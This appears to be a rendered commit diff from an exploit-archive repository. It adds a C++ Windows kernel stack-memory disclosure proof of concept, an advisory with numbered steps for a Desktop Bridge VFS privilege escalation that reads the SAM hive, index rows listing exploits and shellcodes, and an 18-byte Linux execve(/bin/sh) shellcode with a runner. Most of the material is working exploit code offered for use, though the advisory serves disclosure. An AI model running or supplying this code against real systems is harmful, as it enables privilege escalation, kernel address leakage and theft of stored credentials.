00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
000000b0: 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ................
|
||||
--- cut ---
|
||||
|
||||
It is clearly visible here that among all data copied from ring-0 to ring-3, 4 bytes at offset 0x4 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <cstdio>
|
||||
|
||||
extern "C" {
|
||||
NTSTATUS NTAPI NtCreateDebugObject(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, ULONG);
|
||||
NTSTATUS NTAPI NtWaitForDebugEvent(HANDLE, BOOLEAN, PLARGE_INTEGER, PVOID);
|
||||
} // extern "C"
|
||||
|
||||
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
|
||||
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||
printf("%.8x: ", i);
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes) {
|
||||
printf("%.2x ", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf("?? ");
|
||||
}
|
||||
}
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||
printf("%c", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
|
||||
for (ULONG i = 0; i < size; i++) {
|
||||
ptr[i] = byte;
|
||||
}
|
||||
}
|
||||
|
||||
VOID SprayKernelStack() {
|
||||
static bool initialized = false;
|
||||
static HPALETTE(*EngCreatePalette)(
|
||||
_In_ ULONG iMode,
|
||||
_In_ ULONG cColors,
|
||||
_In_ ULONG *pulColors,
|
||||
_In_ FLONG flRed,
|
||||
_In_ FLONG flGreen,
|
||||
_In_ FLONG flBlue
|
||||
);
|
||||
|
||||
if (!initialized) {
|
||||
EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
|
||||
initialized = true;
|
||||
}
|
||||
|
||||
static ULONG buffer[256];
|
||||
MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
|
||||
EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
|
||||
MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
|
||||
}
|
||||
|
||||
int main() {
|
||||
HANDLE hDebugObject;
|
||||
OBJECT_ATTRIBUTES ObjectAttributes;
|
||||
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, 0);
|
||||
|
||||
// Create a debug object.
|
||||
NTSTATUS st = NtCreateDebugObject(&hDebugObject, GENERIC_ALL, &ObjectAttributes, 0);
|
||||
if (!NT_SUCCESS(st)) {
|
||||
printf("NtCreateDebugObject failed, %x\n", st);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Spray the kernel stack with a 0x41 marker byte.
|
||||
SprayKernelStack();
|
||||
|
||||
// Trigger the memory disclosure.
|
||||
BYTE Output[0xb8] = { /* zero padding */ };
|
||||
LARGE_INTEGER Timeout = { 0 };
|
||||
st = NtWaitForDebugEvent(hDebugObject, FALSE, &Timeout, Output);
|
||||
if (!NT_SUCCESS(st)) {
|
||||
printf("NtWaitForDebugEvent failed, %x\n", st);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Print the output data.
|
||||
PrintHex(Output, sizeof(Output));
|
||||
|
||||
return 0;
|
||||
}
|
||||
45
exploits/windows_x86-64/local/44313.txt
Normal file
45
exploits/windows_x86-64/local/44313.txt
Normal file
|
|
@ -0,0 +1,45 @@
|
|||
Windows: Windows: Desktop Bridge VFS EoP
|
||||
Platform: Windows 1709 (not tested earlier version)
|
||||
Class: Elevation of Privilege
|
||||
|
||||
Summary: The handling of the VFS for desktop bridge applications can allow an application to create virtual files in system folder which can result in EoP.
|
||||
|
||||
Description:
|
||||
The desktop bridge functionality introduced in Anniversary edition allows an application to set up a virtual file system to redirect access to AppData as well as system folders to reduce the amount of changes needed for a converted Win32 application. Access to AppData is automatic but for system folders the application needs to be packaged with a special VFS directory in its installation directory which defines what folders the VFS will redirect.
|
||||
|
||||
In theory the behaviour of the VFS could have been implemented entirely in user mode, although that might have been unreliable. Instead it’s implemented using a kernel mode filter driver (specifically in wcnfs.sys) which will rewrite certain file paths and issue a reparse to handle the virtualized files.
|
||||
|
||||
The reason this behaviour is a problem is no checks seem to be done on whether the file request is coming from kernel mode or user mode. It’s entirely based on whether file request is operating in the process context of the desktop bridge application. This can lead to issues if kernel code running inside the desktop bridge process context tries to access system files assuming that a non-administrator could not replace them. However when running in a desktop bridge application that cannot be guaranteed. It’s possible to redirect files even if the kernel code is careful to avoid using the per-user Dos Devices directory (\?? Or \DosDevices) and instead uses a direct device path, or more commonly use of the \SystemRoot symbolic link.
|
||||
|
||||
An example of kernel code which does this is the NtGetNlsSectionPtr system call. This call will try and open a file of the pattern \SystemRoot\c_%d.nls and map it read only before returning the mapping to the caller. I blogged about abusing this system call (https://googleprojectzero.blogspot.com/2017/08/windows-exploitation-tricks-arbitrary.html) to get an arbitrary file read, even to locked files such as the SAM hive. However in order to exploit the system call you need to force the file c_%d.nls to be redirected to another file using a mount point or another type of symbolic link. This shouldn’t be something that a typical appx file could install nor would it presumably pass through the MS store review so instead we can exploit an implementation flaw in the reparse operation.
|
||||
|
||||
When the filter driver detects the application is trying to access a system resource the driver looks up the VFS path in a set of mapping tables which are configured by the daxexec library during the creation of the Desktop Bridge application in the AppInfo service. If a mapping path is discovered then the code will call IoReplaceFileObjectName with the destination path and return STATUS_REPARSE. As a full path needs to be specified for the object manager to restart the parsing operation the driver ensures the path has the volume name prepended (WcnPrependVolumeDeviceName) however what it adds uses the per-user dos device prefix. So a request for an path such as \SystemRoot\c_1337.nls ends up reparsing to \??\c:\Program Files\AppName\VFS\SystemX64\c_1337.nls. As we’re not in a sandbox and the file open request is running inside the current process context we can replace the C: drive either at the process or per-user level and get this reparse operation to redirect anywhere we like.
|
||||
|
||||
By exploiting this behavior we can cause NtGetNlsSectionPtr to map read-only any file we like on the system, even bypassing file locking leading to clear EoP. There is one final hurdle to overcome, we don’t really want to have to submit an application to the MS app store to exploit this behavior, so how can we exploit it? All we need is to install an existing application (which a normal user can do) from the store which uses the VFS feature (if the VFS directory doesn’t exist then this isn’t enabled at all I don’t believe) then either inject into that process or just create a new process which inherits the desktop bridge container for that process (which can be done with the appropriate flags to CreateProcess). It turns out that in most cases you don’t even need to install a new application as the Get Office/My Office Adware installed by default on all new installs of Windows 10 now uses Desktop Bridge and VFS for the system folder.
|
||||
|
||||
Putting it all together this is how we can exploit this behavior to read arbitrary files:
|
||||
|
||||
1. Start a desktop bridge application which uses the VFS feature for the native system folder (so SystemX64 on 64 bit and SystemX86 on 32 bit).
|
||||
2. Start a new child process from the desktop bridge application specifying the override flag to the PROC_THREAD_ATTRIBUTE_DESKTOP_APP_POLICY attribute to create the process in the same desktop bridge container.
|
||||
3. Create a fake VFS path drive which points to an arbitrary location by redirecting the root drive.
|
||||
4. Call NtGetNlsSectionPtr to open the file and map it as read-only.
|
||||
|
||||
Note that the reading of files is just an exploitation of the underlying issue. There are a number of places in the kernel as well as in drivers which could be exploited using the same behavior, which might for example load arbitrary drivers off disk or load configuration data from an untrusted location even though the driver was careful about avoiding trivial attacks.
|
||||
|
||||
Proof of Concept:
|
||||
|
||||
I’ve provided a PoC as a C# project. In order for the exploit to work you need a copy of the Get Office/My Office application installed which matches the native bitness of the platform. This is obviously only an issue on 64 bit windows. I’ve seen both x86 and x64 versions of the application, however I think Enterprise is the only platform which gets the x64 version. If you get an error about Office Hub being a Wow64 process this is the cause. It might be possible to package up the x64 version from a different system and install it manually but I didn’t check that. Therefore for ease just run this on a 32 bit version of Windows.
|
||||
|
||||
1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work.
|
||||
2) Start the Get Office/My Office application
|
||||
3) Start the poc. It should print that it successfully opened the SAM hive.
|
||||
|
||||
Expected Result:
|
||||
It’s not possible to redirect kernel file requests to arbitrary files.
|
||||
|
||||
Observed Result:
|
||||
It’s possible to redirect the request for the code page file the SAM registry hive which should not be accessible by a normal user.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44313.zip
|
||||
|
|
@ -5904,6 +5904,12 @@ id,file,description,date,author,type,platform,port
|
|||
44301,exploits/linux/dos/44301.c,"Linux Kernel < 4.5.1 - Off-By-One (PoC)",2016-10-16,"Vitaly Nikolenko",dos,linux,
|
||||
44304,exploits/linux/dos/44304.c,"Linux Kernel - 'mincore()' Heap Page Disclosure (PoC)",2017-12-11,anonymous,dos,linux,
|
||||
44305,exploits/linux/dos/44305.c,"Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (2)",2017-12-11,anonymous,dos,linux,
|
||||
44308,exploits/windows_x86-64/dos/44308.cpp,"Microsoft Windows Kernel - 'NtQueryVirtualMemory(MemoryMappedFilenameInformation)' 64-bit Pool Memory Disclosure",2018-03-20,"Google Security Research",dos,windows_x86-64,
|
||||
44309,exploits/windows_x86-64/dos/44309.cpp,"Microsoft Windows Kernel - 'NtQueryInformationThread(ThreadBasicInformation)' 64-bit Stack Memory Disclosure",2018-03-20,"Google Security Research",dos,windows_x86-64,
|
||||
44310,exploits/windows_x86-64/dos/44310.cpp,"Microsoft Windows Kernel - 'nt!KiDispatchException' 64-bit Stack Memory Disclosure",2018-03-20,"Google Security Research",dos,windows_x86-64,
|
||||
44311,exploits/windows_x86-64/dos/44311.cpp,"Microsoft Windows Kernel - 'nt!NtWaitForDebugEvent' 64-bit Stack Memory Disclosure",2018-03-20,"Google Security Research",dos,windows_x86-64,
|
||||
44312,exploits/windows/dos/44312.js,"Internet Explorer - 'RegExp.lastMatch' Memory Disclosure",2018-03-20,"Google Security Research",dos,windows,
|
||||
44316,exploits/linux/dos/44316.py,"Kamailio 5.1.1 / 5.1.0 / 5.0.0 - Off-by-One Heap Overflow",2018-03-20,EnableSecurity,dos,linux,5060
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
|
@ -9594,11 +9600,15 @@ id,file,description,date,author,type,platform,port
|
|||
44279,exploits/linux/local/44279.py,"SC 7.16 - Stack-Based Buffer Overflow",2018-03-12,"Juan Sacco",local,linux,
|
||||
44282,exploits/hardware/local/44282.txt,"Sony Playstation 4 (PS4) 4.55 < 5.50 - WebKit Code Execution (PoC)",2018-03-10,qwertyoruiop,local,hardware,
|
||||
44298,exploits/linux/local/44298.c,"Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation",2018-03-16,"Bruce Leidl",local,linux,
|
||||
44299,exploits/linux/local/44299.c,"Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation",2018-03-19,"Vitaly Nikolenko",local,linux,
|
||||
44300,exploits/linux/local/44300.c,"Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation",2018-03-19,"Vitaly Nikolenko",local,linux,
|
||||
44299,exploits/linux/local/44299.c,"Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation",2015-08-26,"Vitaly Nikolenko",local,linux,
|
||||
44300,exploits/linux/local/44300.c,"Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation",2016-07-04,"Vitaly Nikolenko",local,linux,
|
||||
44302,exploits/linux/local/44302.c,"Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation",2017-10-16,"Jeremy Huang",local,linux,
|
||||
44303,exploits/linux/local/44303.c,"Linux Kernel 4.13 (Debian 9) - Local Privilege Escalation",2017-12-11,anonymous,local,linux,
|
||||
44306,exploits/hardware/local/44306.c,"Huawei Mate 7 - '/dev/hifi_misc' Privilege Escalation",2016-01-24,pray3r,local,hardware,
|
||||
44307,exploits/macos/local/44307.m,"Google Software Updater macOS - Unsafe use of Distributed Objects Privilege Escalation",2018-03-20,"Google Security Research",local,macos,
|
||||
44313,exploits/windows_x86-64/local/44313.txt,"Microsoft Windows - Desktop Bridge VFS Privilege Escalation",2018-03-20,"Google Security Research",local,windows_x86-64,
|
||||
44314,exploits/windows/local/44314.ps1,"Microsoft Windows - Desktop Bridge Virtual Registry Arbitrary File Read/Write Privilege Escalation",2018-03-20,"Google Security Research",local,windows,
|
||||
44315,exploits/windows/local/44315.txt,"Microsoft Windows - Desktop Bridge Virtual Registry NtLoadKey Arbitrary File Read/Write Privilege Escalation",2018-03-20,"Google Security Research",local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
@ -39017,3 +39027,5 @@ id,file,description,date,author,type,platform,port
|
|||
44288,exploits/php/webapps/44288.txt,"WordPress Plugin Duplicator 1.2.32 - Cross-Site Scripting",2018-03-15,"Stefan Broeder",webapps,php,80
|
||||
44289,exploits/java/webapps/44289.java,"Spring Data REST < 2.6.9 (Ingalls SR9) / 3.0.1 (Kay SR1) - PATCH Request Remote Code Execution",2018-03-15,"Antonio Francesco Sardella",webapps,java,
|
||||
44295,exploits/hardware/webapps/44295.txt,"Contec Smart Home 4.15 - Unauthorized Password Reset",2018-03-16,Z3ro0ne,webapps,hardware,
|
||||
44317,exploits/hardware/webapps/44317.py,"Intelbras Telefone IP TIP200 LITE - Local File Disclosure",2018-03-20,anhax0r,webapps,hardware,
|
||||
44318,exploits/php/webapps/44318.txt,"Vehicle Sales Management System - Multiple Vulnerabilities",2018-03-20,Sing,webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
|
|
@ -871,3 +871,4 @@ id,file,description,date,author,type,platform
|
|||
42977,shellcodes/linux_x86/42977.c,"Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (30 bytes)",2017-10-12,"Manuel Mancera",shellcode,linux_x86
|
||||
42992,shellcodes/windows_x86-64/42992.c,"Windows/x64 - API Hooking Shellcode (117 bytes)",2017-10-16,"Roziul Hasan Khan Shifat",shellcode,windows_x86-64
|
||||
43463,shellcodes/linux_x86/43463.nasm,"Linux/x86 - chmod 777 /etc/sudoers Shellcode (36 bytes)",2018-01-04,"Hashim Jawad",shellcode,linux_x86
|
||||
44321,shellcodes/linux_x86/44321.c,"Linux/x86 - execve(/bin/sh) Shellcode (18 bytes)",2018-03-20,"Anurag Srivastava",shellcode,linux_x86
|
||||
|
|
|
|||
|
37
shellcodes/linux_x86/44321.c
Normal file
37
shellcodes/linux_x86/44321.c
Normal file
|
|
@ -0,0 +1,37 @@
|
|||
/*
|
||||
# Linux/x86 - execve /bin/sh shellcode (18 bytes)
|
||||
# Author: Anurag Srivastava
|
||||
# Tested on: i686 GNU/Linux
|
||||
# Shellcode Length: 18
|
||||
|
||||
Disassembly of section .text:
|
||||
|
||||
08048060 <_start>:
|
||||
8048060: 6a 0b push 0xb
|
||||
8048062: 58 pop eax
|
||||
8048063: 53 push ebx
|
||||
8048064: 68 2f 2f 73 68 push 0x68732f2f
|
||||
8048069: 68 2f 62 69 6e push 0x6e69622f
|
||||
804806e: 89 e3 mov ebx,esp
|
||||
8048070: cd 80 int 0x80
|
||||
|
||||
===============POC by Anurag Srivastava=========================
|
||||
*/
|
||||
|
||||
#include<stdio.h>
|
||||
#include<string.h>
|
||||
|
||||
unsigned char code[] = \
|
||||
|
||||
"\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
|
||||
|
||||
main()
|
||||
{
|
||||
|
||||
printf("Shellcode Length: %d\n", strlen(code));
|
||||
|
||||
int (*ret)() = (int(*)())code;
|
||||
|
||||
ret();
|
||||
|
||||
}
|
||||
Loading…
Add table
Reference in a new issue